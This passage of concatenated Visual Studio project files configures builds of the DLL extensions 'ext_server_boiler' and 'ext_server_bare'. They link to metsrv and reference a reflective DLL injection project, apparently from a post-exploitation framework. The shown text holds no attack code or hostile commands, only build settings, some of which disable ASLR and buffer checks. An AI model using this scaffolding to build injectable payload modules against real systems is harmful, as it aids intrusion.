<AdditionalDependencies>backcompat.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>.\Release\ext_server_boiler.dll</OutputFile>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform); ;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>.\Release\ext_server_boiler.map</MapFileName>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>.\Release\ext_server_boiler.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
|
||||
<ObjectFileName>.\Release\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>.\Release\ext_server_boiler.dll</OutputFile>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform); ;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>.\Release\ext_server_boiler.map</MapFileName>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>.\Release\ext_server_boiler.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BOILER_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
|
||||
<ObjectFileName>.\Release\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<OutputFile>.\Release\ext_server_boiler.dll</OutputFile>
|
||||
<AdditionalLibraryDirectories>..\metsrv\$(Configuration)\$(Platform); ;..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>false</GenerateDebugInformation>
|
||||
<GenerateMapFile>true</GenerateMapFile>
|
||||
<MapFileName>.\Release\ext_server_boiler.map</MapFileName>
|
||||
<SubSystem>NotSet</SubSystem>
|
||||
<OptimizeReferences>
|
||||
</OptimizeReferences>
|
||||
<EnableCOMDATFolding>
|
||||
</EnableCOMDATFolding>
|
||||
<RandomizedBaseAddress>false</RandomizedBaseAddress>
|
||||
<DataExecutionPrevention>
|
||||
</DataExecutionPrevention>
|
||||
<ImportLibrary>.\Release\ext_server_boiler.lib</ImportLibrary>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
<MinimumRequiredVersion>
|
||||
</MinimumRequiredVersion>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="..\..\source\extensions\boiler\server\boiler.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="..\..\source\extensions\boiler\server\boiler.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\backcompat\backcompat.vcxproj">
|
||||
<Project>{c6fb3275-9067-4bba-9206-0a720d2bc64f}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\metsrv\metsrv.vcxproj">
|
||||
<Project>{37e24f8f-1bd9-490b-8cd2-4768b89e5eab}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
<ProjectReference Include="..\ReflectiveDLLInjection\ReflectiveDLLInjection.vcxproj">
|
||||
<Project>{72f0246a-a38d-4547-9057-46020e8e503d}</Project>
|
||||
<ReferenceOutputAssembly>false</ReferenceOutputAssembly>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.targets" />
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_debug|Win32">
|
||||
<Configuration>r7_debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_debug|x64">
|
||||
<Configuration>r7_debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|Win32">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="r7_release|x64">
|
||||
<Configuration>r7_release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D3F39324-040D-4B1F-ADA9-762F16A120E6}</ProjectGuid>
|
||||
<RootNamespace>ext_server_bare</RootNamespace>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>MultiByte</CharacterSet>
|
||||
<WholeProgramOptimization>false</WholeProgramOptimization>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<PlatformToolset>v110_xp</PlatformToolset>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
<Import Project="$(VCTargetsPath)\BuildCustomizations\masm.props" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup>
|
||||
<_ProjectFileVersion>10.0.30319.1</_ProjectFileVersion>
|
||||
<OutDir>$(Configuration)\$(Platform)\</OutDir>
|
||||
<IntDir>$(Configuration)\$(Platform)\</IntDir>
|
||||
<LinkIncremental Condition="'$(Configuration)'=='Release'">false</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)'=='r7_release'">false</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)'=='Debug'">true</LinkIncremental>
|
||||
<LinkIncremental Condition="'$(Configuration)'=='r7_debug'">true</LinkIncremental>
|
||||
<GenerateManifest>false</GenerateManifest>
|
||||
<CodeAnalysisRuleSet>AllRules.ruleset</CodeAnalysisRuleSet>
|
||||
<CodeAnalysisRules />
|
||||
<CodeAnalysisRuleAssemblies />
|
||||
<TargetName>$(ProjectName).$(PlatformShortName)</TargetName>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalOptions>netapi32.lib mpr.lib %(AdditionalOptions)</AdditionalOptions>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX86</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='r7_debug|x64'">
|
||||
<Midl>
|
||||
<TargetEnvironment>X64</TargetEnvironment>
|
||||
</Midl>
|
||||
<ClCompile>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<MinimalRebuild>true</MinimalRebuild>
|
||||
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
<IgnoreSpecificDefaultLibraries>%(IgnoreSpecificDefaultLibraries)</IgnoreSpecificDefaultLibraries>
|
||||
<DelayLoadDLLs>metsrv.dll;%(DelayLoadDLLs)</DelayLoadDLLs>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<TargetMachine>MachineX64</TargetMachine>
|
||||
</Link>
|
||||
<PostBuildEvent>
|
||||
<Command>editbin.exe /OSVERSION:5.0 /SUBSYSTEM:WINDOWS,4.0 "$(TargetDir)$(TargetFileName)"
|
||||
IF EXIST "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\" GOTO COPY
|
||||
mkdir "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"
|
||||
:COPY
|
||||
copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformShortName)\Debug\"</Command>
|
||||
</PostBuildEvent>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<Optimization>MinSpace</Optimization>
|
||||
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
|
||||
<IntrinsicFunctions>false</IntrinsicFunctions>
|
||||
<AdditionalIncludeDirectories>..\..\source\extensions\bare;..\..\source\openssl\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;EXT_SERVER_BARE_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<StringPooling>true</StringPooling>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<FunctionLevelLinking>false</FunctionLevelLinking>
|
||||
<PrecompiledHeader>
|
||||
</PrecompiledHeader>
|
||||
<AssemblerListingLocation>$(OutDir)\</AssemblerListingLocation>
|
||||
<ObjectFileName>$(OutDir)\</ObjectFileName>
|
||||
<ProgramDataBaseFileName>$(OutDir)\</ProgramDataBaseFileName>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<DebugInformationFormat>ProgramDatabase</DebugInformationFormat>
|
||||
<BufferSecurityCheck>false</BufferSecurityCheck>
|
||||
<FavorSizeOrSpeed>Size</FavorSizeOrSpeed>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<AdditionalDependencies>backcompat.lib;Netapi32.lib;Mpr.lib;metsrv.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>..\backcompat\$(Configuration);..\metsrv\$(Configuration)\$(Platform);..\..\source\openssl\lib\win;%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreAllDefaultLibraries>false</IgnoreAllDefaultLibraries>
|
||||
